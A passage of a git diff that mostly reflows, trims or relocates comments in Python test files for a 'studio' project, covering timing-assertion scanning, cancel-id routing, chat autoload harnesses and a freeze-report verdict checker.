with a small threshold constant. Four times the threshold was not enough+# margin for the one that failed, so the ratio is not a usable rule, and flagging all ten would serialise a large part+# of the suite on a guess.#-# So this class is found by reading rather than by scanning. The first arrived from a-# staging failure, the second from review, and the third from reading the other eight-# candidates once the shape was clear: test_anthropic_messages counts SSE keepalives-# emitted during a 0.24s stall, which loses keepalives to a descheduled worker exactly as-# the heartbeat test loses ticks.+# So this class is found by reading rather than by scanning. The first arrived from a staging failure, the second from+# review, and the third from reading the other eight candidates once the shape was clear: test_anthropic_messages+# counts SSE keepalives emitted during a 0.24s stall, which loses keepalives to a descheduled worker exactly as the+# heartbeat test loses ticks.#-# That same pass turned up one false positive worth naming, because the grep that finds-# these is crude: test_diffusion_backend asserts len(staged) > 1 near a 0.2s sleep, but-# `staged` is a list comprehension over cached filenames and has no timing in it at all.-# It also costs 152s, so isolating it on the strength of a pattern match would have been-# expensive as well as wrong. Read the assertion before adding a file here.--# Below this, an elapsed-time bound is inside the range of a single scheduler quantum, so-# under four workers on four vCPUs it measures the scheduler as much as the code. Above it-# there is enough headroom to survive being descheduled. Twenty-two backend files assert-# some elapsed bound and serialising all of them would give back most of what -n 4 buys,-# so the line is drawn where the measurement stops being about the code.+# That same pass turned up one false positive worth naming, because the grep that finds these is crude:+# test_diffusion_backend asserts len(staged) > 1 near a 0.2s sleep, but `staged` is a list comprehension over cached+# filenames and has no timing in it at all. It also costs 152s, so isolating it on the strength of a pattern match+# would have been expensive as well as wrong. Read the assertion before adding a file here.++# Below this, an elapsed-time bound is inside the range of a single scheduler quantum, so under four workers on four+# vCPUs it measures the scheduler as much as the code. Above it there is enough headroom to survive being descheduled.+# Twenty-two backend files assert some elapsed bound and serialising all of them would give back most of what -n 4+# buys, so the line is drawn where the measurement stops being about the code.BACKEND_MARKER = "--ignore=tests/test_studio_api.py"@@ -137,23 +130,23 @@ BACKEND_TESTS = Path(__file__).resolve().parents[2] / "studio" / "backend" / "te_CLOCKS = ("monotonic", "perf_counter", "process_time", "time")-# Sites the scan finds and a human has read. The scan looks for a comparison between two-# clock-derived quantities, which is the right net to cast, but not every such comparison-# is a performance claim. None of these can be broken by descheduling:+# Sites the scan finds and a human has read. The scan looks for a comparison between two clock-derived quantities,+# which is the right net to cast, but not every such comparison is a performance claim. None of these can be broken+# by descheduling:#-# a SANDWICH, `before <= recorded <= after`, asserts a stamp was taken between two-# reads. Widening the gap cannot falsify it.-# a POLL DEADLINE, `time.monotonic() < limit` inside a wait-for-condition loop, is the-# pattern that replaces a guessed sleep. Its 5s budget is a timeout, not a measurement.+# a SANDWICH, `before <= recorded <= after`, asserts a stamp was taken between two reads. Widening the gap cannot+# falsify it.+# a POLL DEADLINE, `time.monotonic() < limit` inside a wait-for-condition loop, is the pattern that replaces a+# guessed sleep. Its 5s budget is a timeout, not a measurement.# a SENTINEL, `stamp < 0.0`, compares against a magic value rather than a duration.#-# Keyed on the enclosing function rather than a line number, so an edit above it does not-# silently move the exemption onto something else.+# Keyed on the enclosing function rather than a line number, so an edit above it does not silently move the exemption+# onto something else.BENIGN_TIMING = {("test_media_auto_switch.py", "_until"),("test_openai_auto_switch.py", "test_any_finished_download_drops_the_resolver_cache"),- # A 600-second expiry checked against the wall clock. Reading both sides of that gap- # late by whole seconds still leaves it true, and it only reaches this scan at all+ # A 600-second expiry checked against the wall clock.+ # Reading both sides of that gap late by whole seconds still leaves it true, and it only reaches this scan at all# because the widened operand walk now reads `x > time.time()` as a bound.("test_openai_codex_subscription.py",@@ -203,9 +196,8 @@ def _timing_helpers(tree: ast.AST) -> set:for node in functions:if node.name in helpers:continue- # With the helpers found so far, not without them: `value = base()` inside- # a wrapper only counts as timed once `base` is known, and the pass that- # learns `base` is not the pass that reads the wrapper.+ # With the helpers found so far, not without them: `value = base()` inside a wrapper only counts as+ # timed once `base` is known, and the pass that learns `base` is not the pass that reads the wrapper.local = _timed_names(node, helpers)for inner in ast.walk(node):if not isinstance(inner, ast.Return) or inner.value is None:@@ -299,10 +291,10 @@ def _fragile_timing_asserts(path: Path) -> list:for cmp_node in ast.walk(node.test):if not isinstance(cmp_node, ast.Compare):continue- # Every adjacent pair, not just the one starting at cmp_node.left. A chained- # `0.3 <= elapsed < 2.0` is a single Compare whose first operand is a literal,- # so requiring the leftmost operand to be timed skipped the `elapsed < 2.0`- # link and let the file stay in the -n 4 run with the guard still green.+ # Every adjacent pair, not just the one starting at cmp_node.left.+ # A chained `0.3 <= elapsed < 2.0` is a single Compare whose first operand is a literal, so requiring the+ # leftmost operand to be timed skipped the `elapsed < 2.0` link and let the file stay in the -n 4 run with+ # the guard still green.# test_llama_cpp_wait_for_vram_settle.py already writes bounds that way.operands = [cmp_node.left, *cmp_node.comparators]for index, op in enumerate(cmp_node.ops):@@ -363,8 +355,8 @@ def test_the_command_scan_sees_the_parallel_run_and_the_serial_steps():f"checks above apply to that one, and a scan that matched none of them would pass "f"on nothing.")- # The line joins have to be resolved, or the parallel command reads as `pytest tests/ -q`- # with none of its --ignore flags and the first test above passes on nothing.+ # The line joins have to be resolved, or the parallel command reads as `pytest tests/ -q` with none of its --ignore+ # flags and the first test above passes on nothing.assert "--ignore=" in root[0]assert len(commands) > 1, "no serial pytest steps found; the ignore checks cannot fail"@@ -474,7 +466,6 @@ def test_the_scan_finds_all_three_shapes():assert "test_diffusion_checkpoint_resume.py" in found, found # helper, relative# The inline form, which the suite currently uses only at 0.2s, above the threshold.- # Recognised rather than isolated, so tightening that bound would trip the guard.inline = ast.parse("import time\n""def t():\n"diff --git a/tests/studio/test_cancel_atomicity.py b/tests/studio/test_cancel_atomicity.pyindex 23f340f7624..9282da6d528 100644--- a/tests/studio/test_cancel_atomicity.py+++ b/tests/studio/test_cancel_atomicity.py@@ -228,8 +228,8 @@ def test_cancel_by_keys_tolerates_empty_and_falsy_keys():def test_cancel_by_keys_fans_out_to_all_streams_on_same_session():- # Compare mode and other flows launch concurrent streams under a- # shared session_id; a single session cancel POST must hit all of them.+ # Compare mode and other flows launch concurrent streams under a shared session_id;+ # a single session cancel POST must hit all of them.m = _load_registry_module()m["_CANCEL_REGISTRY"].clear()m["_PENDING_CANCELS"].clear()@@ -250,8 +250,7 @@ def test_cancel_by_keys_fans_out_to_all_streams_on_same_session():def test_cancel_by_cancel_id_is_exclusive_to_single_run():- # cancel_id is per-run unique; cancelling run A must not touch run B- # even when both share a session_id.+ # cancel_id is per-run unique; cancelling run A must not touch run B even when both share a session_id.m = _load_registry_module()m["_CANCEL_REGISTRY"].clear()m["_PENDING_CANCELS"].clear()@@ -272,8 +271,8 @@ def test_cancel_by_cancel_id_is_exclusive_to_single_run():def test_tracked_cancel_exit_is_idempotent():- # Outer except BaseException + the generator's finally may both call- # __exit__ under certain race combos; must not raise.+ # Outer except BaseException + the generator's finally may both call __exit__ under certain race combos; must not+ # raise.m = _load_registry_module()m["_CANCEL_REGISTRY"].clear()m["_PENDING_CANCELS"].clear()diff --git a/tests/studio/test_cancel_id_wiring.py b/tests/studio/test_cancel_id_wiring.pyindex fba0e814f6e..f3bd2225f5b 100644--- a/tests/studio/test_cancel_id_wiring.py+++ b/tests/studio/test_cancel_id_wiring.py@@ -45,9 +45,9 @@ def test_chat_completion_request_has_cancel_id_field():def test_cancel_route_matches_cancel_id_exclusively_when_present():- # A stale POST with cancel_id AND session_id must not cancel a later run via- # session_id; the handler must early-return through an exclusive-cancel_id path- # (atomic helper, or a keys list with ONLY cancel_id).+ # A stale POST with cancel_id AND session_id must not cancel a later run via session_id;+ # the handler must early-return through an exclusive-cancel_id path (atomic helper, or a keys list with ONLY+ # cancel_id).for node in ast.walk(ast.parse(ROUTES_SRC)):if isinstance(node, ast.AsyncFunctionDef) and node.name == "cancel_inference":break@@ -129,8 +129,7 @@ def test_chat_adapter_sends_cancel_id_in_abort_cancel_post():def test_abort_cancel_post_uses_plain_fetch_with_manual_auth_header():- # authFetch redirects to login on 401, kicking the user out mid-stop if the- # token expired. Use plain fetch + manual Authorization for a best-effort cancel.+ # authFetch redirects to login on 401, kicking the user out mid-stop if the token expired.start = ADAPTER_SRC.find("const onAbortCancel")assert start >= 0, "onAbortCancel handler missing"rest = ADAPTER_SRC[start:]diff --git a/tests/studio/test_cancelled_turn_history_prune.py b/tests/studio/test_cancelled_turn_history_prune.pyindex 3ae459e21cb..de06f254f4a 100644--- a/tests/studio/test_cancelled_turn_history_prune.py+++ b/tests/studio/test_cancelled_turn_history_prune.py@@ -36,10 +36,7 @@ TEMP = WORKDIR / "temp" / "cancelled_turn_history_prune"SOURCES = (ADAPTER, CODEX, CONTINUATION)-# Fixtures the sliced code reads through. Only the tool-call helpers are stand-ins, and they stay-# real enough to prove a turn carrying a call is NOT abandoned: ``canReplayToolCallWithoutRoleTool``-# is driven off the fixture rather than pinned, so the resultless call the replay has to drop-# stays reachable here instead of being stubbed out of existence.+# Fixtures the sliced code reads through.HARNESS = """// @ts-nocheckfunction readCodexReasoning(_metadata: any): any {diff --git a/tests/studio/test_chat_autoload_failure_gate.py b/tests/studio/test_chat_autoload_failure_gate.pyindex 2c056ceed92..fa1d8eae543 100644--- a/tests/studio/test_chat_autoload_failure_gate.py+++ b/tests/studio/test_chat_autoload_failure_gate.py@@ -91,8 +91,8 @@ DEFAULT_MODEL = "unsloth/gemma-4-E2B-it-GGUF"GEMMA_REPO = "unsloth/gemma-4-26B-A4B-it-qat-GGUF"LOCAL_GGUF_PATH = "/home/john-doe/models/qwen3-1.7b-instruct-q4_k_m.gguf"-# Stubs for everything autoLoadSmallestModel imports; each scenario supplies the cache inventory-# and how /validate and /load answer per model_path.+# Stubs for everything autoLoadSmallestModel imports;+# each scenario supplies the cache inventory and how /validate and /load answer per model_path.PREAMBLE = """type LastLocalModelKind = "gguf" | "model";type GgufVariantDetail = {@@ -847,15 +847,14 @@ def _build_harness(run_dir: Path):# #7699 did by adding a syncModelCapabilities call here.imported = set()source = "\n".join(lines)- # Default and namespace forms bind a name too, and it is the same- # ReferenceError when the harness lacks it. chat-adapter.ts has none today,- # so this is for the first one somebody adds.+ # Default and namespace forms bind a name too, and it is the same ReferenceError when the harness lacks it.+ # chat-adapter.ts has none today, so this is for the first one somebody adds.for match in re.finditer(r"^import\s+(?:\*\s+as\s+)?([A-Za-z_$][\w$]*)\s*(?:,|from)", source, re.M):imported.add(match.group(1))- # The optional prefix is the mixed form, `import def, { named } from`, whose- # braces a `^import\s+\{` anchor would skip entirely.+ # The optional prefix is the mixed form, `import def, { named } from`, whose braces a `^import\s+\{` anchor+ # would skip entirely.for match in re.finditer(r"^import\s+(?:[A-Za-z_$][\w$]*\s*,\s*)?\{([^}]*)\}\s+from", source, re.M):@@ -868,11 +867,9 @@ def _build_harness(run_dir: Path):name = spec.split(" as ")[-1].strip()if name:imported.add(name)- # Any mention, not just a call. useChatRuntimeStore, toast and GPU_LAYERS_AUTO- # are all used in this region without a following paren, and each would be the- # same ReferenceError; they pass today only because the preamble happens to- # define them. Comments are stripped first so a name discussed in prose does- # not count as a use.+ # Any mention, not just a call. useChatRuntimeStore, toast and GPU_LAYERS_AUTO are all used in this region without a+ # following paren, and each would be the same ReferenceError; they pass today only because the preamble happens to+ # define them. Comments are stripped first so a name discussed in prose does not count as a use.code = re.sub(r"/\*.*?\*/", "", body, flags = re.S)code = re.sub(r"//[^\n]*", "", code)preamble = PREAMBLE + PONYFILLS + _wait_gate_source()@@ -962,8 +959,8 @@ def _run(cwd = str(run_dir),capture_output = True,text = True,- # Explicit: text alone decodes with the Windows ANSI code page, which- # mangles the non-ASCII toast copy node emits as UTF-8.+ # Explicit: text alone decodes with the Windows ANSI code page, which mangles the non-ASCII toast copy node+ # emits as UTF-8.encoding = "utf-8",timeout = 60,env = dict(os.environ, NODE_NO_WARNINGS = "1"),@@ -1189,9 +1186,10 @@ def test_a_rejected_validation_still_lets_a_later_cached_model_load():assert _toasts(out, "toast.error") == []-# --- #7374: a model already on disk must be found before anything is fetched ---+# #7374: a model already on disk must be found before anything is fetched+# --- #7374: a model already on disk must be found before anything is fetched ---def test_an_indexed_local_gguf_loads_instead_of_downloading_the_default():"""The reported bug. The user has a GGUF in their models dir, but the cascadeonly read the two managed-cache lists, so Send fetched a model instead."""@@ -1264,7 +1262,6 @@ def test_a_local_row_the_picker_would_hide_is_never_auto_loaded():)out = _run(f"scenario({{ localModels: [{hidden}] }})")- # Nothing loadable on device, so the default download is the correct answer.assert _loaded_paths(out) == [DEFAULT_MODEL]assert _downloads_started(out) == [DEFAULT_MODEL]@@ -1280,9 +1277,6 @@ def test_the_remembered_local_model_is_tried_before_a_smaller_one():assert _loaded_paths(out) == [LOCAL_GGUF_PATH]-# --- the default download is a managed, cancellable job -----def test_the_default_model_is_fetched_through_the_download_manager():"""Not inline inside /api/inference/load: the manager owns the transfer, soit gets a panel entry, progress, and a Cancel that stops it."""@@ -1292,6 +1286,7 @@ def test_the_default_model_is_fetched_through_the_download_manager():# The bytes land before the load is attempted.kinds = [event["kind"] for event in out["events"]]assert kinds.index("download.start") < kinds.index("loadModel")+ # Nothing loadable on device, so the default download is the correct answer.assert _loaded_paths(out) == [DEFAULT_MODEL]@@ -1356,9 +1351,6 @@ def test_a_mac_chat_only_install_still_auto_loads_a_local_mlx_model():assert _loaded_paths(out) == ["/models/mlx"]-# --- review fixes on the on-device cascade -----def test_an_image_generation_row_is_never_auto_loaded_for_chat():"""Diffusion rows carry an image/video task while can_chat stays true onfile format alone. The picker routes them to the Images page on click; a@@ -1704,7 +1696,6 @@ def test_a_cached_adapter_repo_is_never_auto_loaded():)assert "org/lora" not in _loaded_paths(out)- # Nothing loadable on device, so the default download is the correct answer.assert _loaded_paths(out) == [DEFAULT_MODEL]@@ -1740,6 +1731,7 @@ def test_an_hf_cache_row_stays_excluded_when_both_lookups_answer():out = _run(f"scenario({{ localModels: [{row}] }})")assert LOCAL_GGUF_PATH not in _loaded_paths(out)+ # Nothing loadable on device, so the default download is the correct answer.assert _loaded_paths(out) == [DEFAULT_MODEL]diff --git a/tests/studio/test_chat_preset_builtin_invariants.py b/tests/studio/test_chat_preset_builtin_invariants.pyindex b02a5ee9eb9..ddbe5af9103 100644--- a/tests/studio/test_chat_preset_builtin_invariants.py+++ b/tests/studio/test_chat_preset_builtin_invariants.py@@ -71,10 +71,10 @@ def _ensure_harness():def _run(script: str):_require_node()_ensure_harness()- # Unique per call: a shared run.mts let two xdist workers interleave write and exec,- # so one ran the other's script (5-6 of these 9 failed on every -n 4 run).- # A unique name, not a per-call dir like _node_harness.py uses: these scripts reach- # the sources by a path relative to TEMP, so an extra level breaks every import.+ # Unique per call: a shared run.mts let two xdist workers interleave write and exec, so one ran the other's script+ # (5-6 of these 9 failed on every -n 4 run).+ # A unique name, not a per-call dir like _node_harness.py uses: these scripts reach the sources by a path relative+ # to TEMP, so an extra level breaks every import.script_path = TEMP / f"run_{uuid.uuid4().hex}.mts"script_path.write_text(script, encoding = "utf-8")env = dict(os.environ, NODE_NO_WARNINGS = "1")diff --git a/tests/studio/test_chat_response_details_ui_contract.py b/tests/studio/test_chat_response_details_ui_contract.pyindex 7fa31075e18..0838b5127ed 100644--- a/tests/studio/test_chat_response_details_ui_contract.py+++ b/tests/studio/test_chat_response_details_ui_contract.py@@ -126,12 +126,11 @@ def test_reasoning_keeps_streaming_height_cap_through_automatic_collapse():assert "const [retainStreamingHeight, setRetainStreamingHeight]" in srcassert "setRetainStreamingHeight(false)" in srcassert "setRetainStreamingHeight(isReasoningStreaming)" in src- # Still zero while streaming, and still the animation's length once it stops. The- # length is now chosen by the collapse mechanism rather than written inline: the- # height keyframes animate a height captured at toggle time, so releasing the cap- # cannot change what they animate and ANIMATION_DURATION is right for them, while- # `1fr` resolves against the live content every frame and has to outlast a- # transition that only starts a render after this timer is armed.+ # Still zero while streaming, and still the animation's length once it stops. The two+ # collapse mechanisms differ: the height keyframes animate a height captured at toggle+ # time, so releasing the cap cannot change what they animate and ANIMATION_DURATION is+ # right for them, while `1fr` resolves against the live content every frame and has to+ # outlast a transition that only starts a render after this timer is armed.assert "isReasoningStreaming ? 0 : closeDelay" in srcassert "const closeDelay = GRID_COLLAPSE_REASONING_ENABLED" in srcassert "? ANIMATION_DURATION + CLOSE_FALLBACK_MARGIN_MS" in srcdiff --git a/tests/studio/test_chat_title_generation.py b/tests/studio/test_chat_title_generation.pyindex 7e04076d4f1..b72635f7af0 100644--- a/tests/studio/test_chat_title_generation.py+++ b/tests/studio/test_chat_title_generation.py@@ -92,9 +92,8 @@ def test_tool_call_only_first_assistant_still_uses_first_user_message():'.filter((p): p is Extract<typeof p, { type: "text" }> => p.type === "text")'in extract_block)- # titleTextOf wraps extractTextParts and appends an attachment sample for a- # user turn (#8472), so the first user message is still what titles the- # thread; only the spelling of "read that message's text" changed.+ # titleTextOf wraps extractTextParts and appends an attachment sample for a user turn (#8472), so the first user+ # message is still what titles the thread; only the spelling of "read that message's text" changed.assert ("const userText = titleTextOf(firstUser) || defaultTitle; const assistantText = extractTextParts(firstAssistant);"in generate_blockdiff --git a/tests/studio/test_ci_shell_suite_coverage.py b/tests/studio/test_ci_shell_suite_coverage.pyindex d4d7c3a561e..cc07c875f8f 100644--- a/tests/studio/test_ci_shell_suite_coverage.py+++ b/tests/studio/test_ci_shell_suite_coverage.py@@ -37,8 +37,7 @@ _PARITY_CI = _WORKFLOWS / "cross-platform-parity-ci.yml"_RUN_ALL = REPO_ROOT / "tests" / "run_all.sh"_SH_DIR = REPO_ROOT / "tests" / "sh"-# Files deliberately not run by the auto-discovered Backend CI step. Each needs-# a reason here AND in the workflow; anything else in tests/sh must run.+# Files deliberately not run by the auto-discovered Backend CI step._EXPECTED_CI_SKIPS = {"test_install_rollback_lifecycle.sh": "runs on both platforms in cross-platform-parity-ci.yml",}@@ -95,7 +94,6 @@ class TestBackendCiRunsEveryShellTest:f"Backend CI skips {sorted(unexpected)} without a reason recorded in ""_EXPECTED_CI_SKIPS; add one or stop skipping it")- # Everything else in the directory is covered by the glob.for name in _shell_test_files():assert name not in skips or name in _EXPECTED_CI_SKIPS, name@@ -225,7 +223,6 @@ def _workflows_running_powershell_tests():if not invoked:continueparsed = yaml.safe_load(text)- # PyYAML parses the `on:` key as the boolean True.triggers = parsed.get(True, parsed.get("on", {})) or {}paths = (triggers.get("pull_request") or {}).get("paths")found[workflow.name] = (invoked, paths)diff --git a/tests/studio/test_cli_hsa_spoof_launch_7331.py b/tests/studio/test_cli_hsa_spoof_launch_7331.pyindex 166b5f68660..dce3f43b65d 100644--- a/tests/studio/test_cli_hsa_spoof_launch_7331.py+++ b/tests/studio/test_cli_hsa_spoof_launch_7331.py@@ -210,7 +210,8 @@ class TestTheLaunchPathActuallyCallsIt:def test_called_before_every_launch_path(self):source = Path(studio_cli.__file__).resolve().read_text(encoding = "utf-8")call = source.find("_clear_hsa_override_contradicting_install(")- # The definition comes first; find the CALL, which follows it.+ # The definition comes first;+ # find the CALL, which follows it.call = source.find("_clear_hsa_override_contradicting_install(", call + 1)assert call != -1, "the CLI must clear a contradicting override before launching"for marker in (diff --git a/tests/studio/test_cli_repo_variant.py b/tests/studio/test_cli_repo_variant.pyindex 548d3f2598f..83e800844ef 100644--- a/tests/studio/test_cli_repo_variant.py+++ b/tests/studio/test_cli_repo_variant.py@@ -45,9 +45,6 @@ def _load_split_repo_variant():_split = _load_split_repo_variant()-# ── HF-style repo:variant inputs ---------------------------------------@pytest.mark.parametrize("model_arg, expected",[@@ -66,9 +63,6 @@ def test_repo_variant_split(model_arg, expected):assert _split(model_arg) == expected-# ── No variant suffix --------------------------------------------------@pytest.mark.parametrize("model_arg",[diff --git a/tests/studio/test_cli_studio_stop_windows.py b/tests/studio/test_cli_studio_stop_windows.pyindex 2469120692a..3ddc0f038f2 100644--- a/tests/studio/test_cli_studio_stop_windows.py+++ b/tests/studio/test_cli_studio_stop_windows.py@@ -49,8 +49,8 @@ def _load_pid_alive(platform: str, fake_run = None):# ── AST: stop() must not use the broken bare liveness probe ──────────────────-# `stop` delegates signalling to `_signal_stop`, so guarding only `stop` would-# let os.kill(pid, 0) come back one function along and still pass.+# `stop` delegates signalling to `_signal_stop`, so guarding only `stop` would let os.kill(pid, 0) come back one+# function along and still pass.@pytest.mark.parametrize("func", ["stop", "_signal_stop"])def test_stop_does_not_use_bare_oskill_liveness_probe(func):"""The signalling path must not call os.kill(pid, 0) -- WinError 87 on Windows."""diff --git a/tests/studio/test_deep_research_frontend_contract.py b/tests/studio/test_deep_research_frontend_contract.pyindex f89a975fd7b..54d44b6856e 100644--- a/tests/studio/test_deep_research_frontend_contract.py+++ b/tests/studio/test_deep_research_frontend_contract.py@@ -125,9 +125,9 @@ def test_research_handoff_transition_honors_the_original_run_stop() -> None:def test_research_reasoning_effort_is_clamped_to_the_loaded_model() -> None:- # A level the loaded model lacks is dropped by llama.cpp, so the durable run would silently- # fall back to the template default. Must use the same helper and levels as normal local- # chat so the two paths cannot drift apart again.+ # A level the loaded model lacks is dropped by llama.cpp, so the durable run would silently fall back to the+ # template default. Must use the same helper and levels as normal local chat so the two paths cannot drift+ # apart again.adapter = source("features/chat/api/chat-adapter.ts")inference_request = source("features/chat/research-inference-request.ts")assert "buildResearchInferenceRequest({" in adapter@@ -190,11 +190,7 @@ def test_research_presentation_is_integrated() -> None:assert "researchReplyOwnsRun(boundResearchAssistantMessageId, messageId)" in threadassert "<ResearchMessageRunIdContext.Provider value={researchRunId}>" in threadassert "useContext(ResearchMessageRunIdContext)" in thread- # A prompt whose reply is a research message loses its edit and delete controls. Ownership is- # a question about the whole repository, not the visible message list: a reply can sit on a- # branch the view is not showing. It used to be one export per user message (quadratic in- # thread length); the answer is now shared across the thread, so what is pinned here is the- # question and its scope rather than the expression that computed it.+ # A prompt whose reply is a research message loses its edit and delete controls.owners = source("components/assistant-ui/research-reply-owners.ts")assert "researchReplyOwners(" in threadassert "() => aui.thread().export().messages" in thread@@ -269,13 +265,12 @@ def test_research_presentation_is_integrated() -> None:1].split("setActiveThreadId:", 1)[0]assert "saveBool(CHAT_DEEP_RESEARCH_ENABLED_KEY, false)" in checkpoint_update- # #8686 put a chat-scoped override in front of the global read here, so the literal- # `const permissionMode = loadPermissionMode();` this used to pin is gone. The read- # itself is the contract, and it is still per call: toggling deep research re-resolves- # the permission level, taking the chat's own level when it has one and the persisted- # global otherwise, rather than reusing a stale value. Scoped to the setter, because- # over the whole file this would also match the initial-state constant, which is a- # different property and would keep passing if this read were dropped.+ # #8686 put a chat-scoped override in front of the global read here, so the literal `const permissionMode =+ # loadPermissionMode();` this used to pin is gone. The read itself is the contract, and it is still per call:+ # toggling deep research re-resolves the permission level, taking the chat's own level when it has one and the+ # persisted global otherwise, rather than reusing a stale value. Scoped to the setter, because over the whole file+ # this would also match the initial-state constant, which is a different property and would keep passing if this+ # read were dropped.deep_research_update = store.split("setDeepResearchEnabled: (deepResearchEnabled) =>", 1)[1].split("setResearchWebsitePolicy:", 1)[0]@@ -349,9 +344,9 @@ def test_settled_terminal_research_never_stays_disconnected() -> None:def test_replayed_history_never_borrows_another_attempts_step_result() -> None:- # A retry deletes the previous attempt's research_plan_steps rows but keeps its events, and- # the SSE route attaches the live run snapshot to every replayed event. Matching a replayed- # step only by position would show the newest attempt's evidence inside the older one.+ # A retry deletes the previous attempt's research_plan_steps rows but keeps its events, and the SSE route attaches+ # the live run snapshot to every replayed event. Matching a replayed step only by position would show the newest+ # attempt's evidence inside the older one.coordinator = source("features/chat/stores/research-run-store.ts")assert "const snapshotIsSameAttempt = attempt === (event.run.retryCount ?? 0);" in coordinator@@ -398,7 +393,8 @@ def test_the_handoff_is_keyed_on_the_result_the_backend_writes() -> None:# asks the user nothing and the turn hangs there.assert "if (event.awaiting_confirmation === true) {\n return false;" in helper- # The clamp is the endpoint's own limit; a longer question 422s the whole handoff.+ # The clamp is the endpoint's own limit;+ # a longer question 422s the whole handoff.routes = (ROOT / "studio" / "backend" / "routes" / "research_runs.py").read_text(encoding = "utf-8")diff --git a/tests/studio/test_diffusion_gpu_layers_contract.py b/tests/studio/test_diffusion_gpu_layers_contract.pyindex e5c6b801c6c..228ed2a25ba 100644--- a/tests/studio/test_diffusion_gpu_layers_contract.py+++ b/tests/studio/test_diffusion_gpu_layers_contract.py@@ -39,13 +39,13 @@ def llama_cpp():except Exception as exc: # missing optional studio dep on a bare checkoutpytest.skip(f"llama_cpp not importable here: {exc}")finally:- # Do not leave studio/backend on sys.path: it shadows generic top-level names- # (utils, state, models, hub, auth, storage) for every later test.+ # Do not leave studio/backend on sys.path: it shadows generic top-level names (utils, state, models, hub,+ # auth, storage) for every later test.if sys.path and sys.path[0] == backend:sys.path.pop(0)- # The dedupe comparators consult the Metal device, so on a Mac (and on the macos- # runners, which are paravirtual) they would normalize the request to the CPU pin and- # stop matching these fixtures. A private copy, so pinning cannot leak into the app.+ # The dedupe comparators consult the Metal device, so on a Mac (and on the macos runners, which are paravirtual)+ # they would normalize the request to the CPU pin and stop it matching these fixtures. A private copy, so pinning+ # cannot leak into the app.module._metal_device_is_paravirtual = lambda: Falsereturn modulediff --git a/tests/studio/test_diffusion_train_settings_layout_contract.py b/tests/studio/test_diffusion_train_settings_layout_contract.pyindex ed51fac22dc..5864d71e267 100644--- a/tests/studio/test_diffusion_train_settings_layout_contract.py+++ b/tests/studio/test_diffusion_train_settings_layout_contract.py@@ -31,14 +31,14 @@ def test_settings_columns_key_off_the_pane_width_not_the_viewport():# The run area declares itself the query container...assert '<div className="@container flex flex-col gap-6">' in source- # ...and all three settings grids step up on ITS width. 324px fits two 150px- # cells plus the 24px gutter, 498px fits three.+ # ...and all three settings grids step up on ITS width.+ # 324px fits two 150px cells plus the 24px gutter, 498px fits three.assert source.count("@min-[324px]:grid-cols-2 @min-[498px]:grid-cols-3") == 3# No viewport breakpoint left behind: that is what put 3 columns in a 280px pane.assert "lg:grid-cols-3" not in sourcedef test_field_label_ellipses_instead_of_cutting_mid_glyph():- # Label's own display is flex and text-overflow does nothing on a flex- # container, so truncate only ellipses when paired with block.+ # Label's own display is flex and text-overflow does nothing on a flex container, so truncate only ellipses when+ # paired with block.assert '<Label className="block min-w-0 truncate text-xs">{children}</Label>' in _source()diff --git a/tests/studio/test_first_turn_thread_identity.py b/tests/studio/test_first_turn_thread_identity.pyindex 85f2d4c7901..dff8bf5ed83 100644--- a/tests/studio/test_first_turn_thread_identity.py+++ b/tests/studio/test_first_turn_thread_identity.py@@ -46,8 +46,8 @@ def test_wait_for_run_start_returns_the_id():def test_the_run_is_given_its_real_thread_id():- # The whole point: the adapter must not start under the unresolved key when the id is- # already known by the time the await above resolves.+ # The whole point: the adapter must not start under the unresolved key when the id is already known by the+ # time the await above resolves.block = re.search(r"async \*run\(options\) \{.*?const result = adapter\.run\(.*?\);",PROVIDER,@@ -67,8 +67,8 @@ def test_the_run_is_given_its_real_thread_id():def test_an_existing_thread_id_is_never_overwritten():- # A resolved thread already streams under its own id; replacing it would move a running- # chat's handles out from under the sidebar row watching them.+ # A resolved thread already streams under its own id; replacing it would move a running chat's handles out from+ # under the sidebar row watching them.block = re.search(r"const result = adapter\.run\((.*?)\);",PROVIDER,diff --git a/tests/studio/test_freeze_report_verdicts.py b/tests/studio/test_freeze_report_verdicts.pyindex 1a12cd1dfa2..652dff0cae2 100644--- a/tests/studio/test_freeze_report_verdicts.py+++ b/tests/studio/test_freeze_report_verdicts.py@@ -209,9 +209,9 @@ def test_the_heartbeat_includes_a_poll_no_preference_can_switch_off():'127.0.0.1 "GET /api/inference/audio/stt/status" 200\n')assert len(freeze.INTERFACE.findall(optional)) == 5- # /api/auth/status is navigation-driven with a 30s TTL (app/auth-guards.ts), never a- # timer. Scoring it flatlines the moment the reporter stops clicking, which is the- # false FROZE this test exists to keep out.+ # /api/auth/status is navigation-driven with a 30s TTL (app/auth-guards.ts), never a timer.+ # Scoring it flatlines the moment the reporter stops clicking, which is the false FROZE this test exists to keep+ # out.assert not freeze.INTERFACE.findall('"GET /api/auth/status" 200')# The watchdog stays its own signal; it must not be swept into the interface count.assert not freeze.INTERFACE.findall('"GET /api/liveness" 200')@@ -366,8 +366,8 @@ def test_main_aborts_instead_of_killing_a_running_studio(monkeypatch, capsys, tmapp.write_text("#!/bin/sh\n")app.chmod(0o755)monkeypatch.setattr(freeze.sys, "argv", ["unsloth_freeze_report.py", str(app)])- # main() writes its report to the working directory. Without this, a regression that- # walks past the gate drops a report file into the repository instead of failing here.+ # main() writes its report to the working directory. Without this, a regression that walks past the gate drops a+ # report file into the repository instead of failing here.monkeypatch.chdir(tmp_path)assert freeze.main() == 2assert launched == []@@ -482,8 +482,8 @@ def test_discovery_prefers_an_appimage_that_can_actually_be_started(monkeypatch,if Path("/usr/bin/unsloth-studio").is_file() or Path("/opt/Unsloth/unsloth-studio").is_file():pytest.skip("a system-wide Unsloth Desktop outranks the discovery being tested")assert freeze.find_desktop_app() == [str(runnable)]- # With nothing runnable at all it still names the file, so the caller can say which one- # needs chmod rather than claiming Unsloth Desktop is not installed.+ # With nothing runnable at all it still names the file, so the caller can say which one needs chmod rather than+ # claiming Unsloth Desktop is not installed.runnable.chmod(0o644)assert freeze.find_desktop_app() == [str(downloaded)]@@ -507,7 +507,7 @@ def test_one_flat_interval_that_recovers_is_not_a_freeze():(45, 9, 9),(60, 12, 12),(75, 12, 15), # the gap: interface flat, watchdog carries on- (90, 15, 18), # and it comes straight back+ (90, 15, 18),(105, 18, 21),(120, 21, 24),]@@ -551,8 +551,8 @@ def test_a_stall_that_only_starts_as_the_window_closes_is_not_called_a_freeze():]got = verdict(samples, warmup = 0)assert not got.startswith("FROZE"), got- # And it must not be waved through as healthy either: something was seen, it just was- # not watched for long enough to name.+ # And it must not be waved through as healthy either: something was 